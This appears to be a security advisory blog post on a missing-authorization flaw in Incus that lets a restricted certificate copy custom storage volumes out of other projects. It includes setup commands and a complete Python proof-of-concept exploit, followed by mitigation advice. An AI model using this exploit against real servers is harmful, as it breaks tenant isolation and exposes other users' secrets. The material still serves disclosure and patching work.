Listen to this Post
The vulnerability resides in the storage volume creation handler of Incus. When a user initiates a copy of a custom volume from one project to another, the handler only checks authorization for the target project. However, the source project and volume name are taken directly from the user-controlled `req.Source.Project` field without any subsequent permission verification. This means an attacker, possessing only a valid certificate with restricted access (e.g., limited to the ‘default’ project), can craft a request specifying a source project they are not allowed to view. The handler resolves this attacker-supplied project name and passes it to CreateCustomVolumeFromCopy. No `allowPermission` or `CanView` check is performed on the source volume, effectively bypassing all access controls. The copy operation must occur on the same server, but after the copy is created, the malicious actor can move the volume to another server, further expanding the attack surface. This flaw allows an unauthorized user to duplicate any custom volume within the same Incus server, potentially exposing sensitive data, such as secrets, credentials, or proprietary application configurations stored within these volumes. The attack is particularly dangerous in multi-tenant environments where project isolation is critical. A successful exploitation requires the attacker to know the exact project name and volume name of the target, which could be discovered through other means or brute-forcing. The copied volume appears in the attacker’s accessible project, allowing them to mount and read its contents at will. This issue highlights a fundamental gap in the authorization logic where input validation fails to enforce the principle of least privilege across project boundaries.
DailyCVE Form:
Platform: Incus
Version: < 0.6.0
Vulnerability: Missing Authorization
Severity: Medium
date: May 2024
Prediction: Fixed in 0.6.0
What Undercode Say:
Analytics reveal that the attack surface is limited to authenticated users with a valid certificate and network access to the Incus API. The following commands validate the restricted certificate setup and the successful copy of a forbidden volume:
Create isolated secrets project and volume incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol Restrict attacker certificate to default project only incus config trust edit <cert-fp> Add: restricted: true, projects: - default Verify restriction – this should fail for secrets project incus --project secrets storage volume ls remote:default After exploitation, list copied volume in default project incus storage volume ls remote:default
The core Python proof-of-concept script crafts a POST request to `/1.0/storage-pools/name. The server processes this without validating source visibility.
Exploit: (Educational Purposes!)
python3 poc.py --url https://IP-REMOTE:8443 \ --cert client.crt --key client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default --insecure
!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""
from <strong>future</strong> import annotations
import argparse, json, ssl, sys, urllib.error, urllib.parse, urllib.request
def post(url, path, body, cert, key, insecure):
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(url.rstrip("/") + path, data=json.dumps(body).encode(),
method="POST", headers={"Content-Type": "application/json"})
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True); ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True); ap.add_argument("--pool", required=True)
ap.add_argument("--target-project", required=True); ap.add_argument("--source-project", required=True)
ap.add_argument("--source-volume", required=True); ap.add_argument("--source-pool")
ap.add_argument("--name", required=True); ap.add_argument("--content-type", default="filesystem")
ap.add_argument("--volume-only", action="store_true"); ap.add_argument("--insecure", action="store_true")
args = ap.parse_args()
source = {"type": "copy", "name": args.source_volume, "project": args.source_project, "volume_only": args.volume_only}
if args.source_pool: source["pool"] = args.source_pool
body = {"name": args.name, "type": "custom", "content_type": args.content_type, "source": source}
path = "/1.0/storage-pools/{}/volumes/custom?project={}".format(args.pool, args.target_project)
print(json.dumps(body, indent=2))
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode())
if <strong>name</strong> == "<strong>main</strong>": raise SystemExit(main())
Protection:
Immediately upgrade Incus to version 0.6.0 or later which enforces `CanView` on the source volume before copying. As a workaround, restrict all certificates to the absolute minimum projects and avoid using untrusted certificates with admin-level privileges. Monitor audit logs for unusual volume copy operations across projects, especially those targeting non-default projects. Implement network-level filtering to limit API access to trusted IP ranges only.
Impact:
An attacker with a valid but restricted certificate can copy any custom storage volume from any project on the same Incus server, provided they know the project and volume names. This leads to unauthorized disclosure of sensitive information (secrets, keys, configuration files, application data) stored in those volumes. Although the copy must initially occur on the same server, the volume can subsequently be moved to an external server, allowing persistent exfiltration and further compromise of the entire multi-tenant environment. The flaw completely breaks project isolation, undermining the security model of Incus in shared hosting scenarios.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
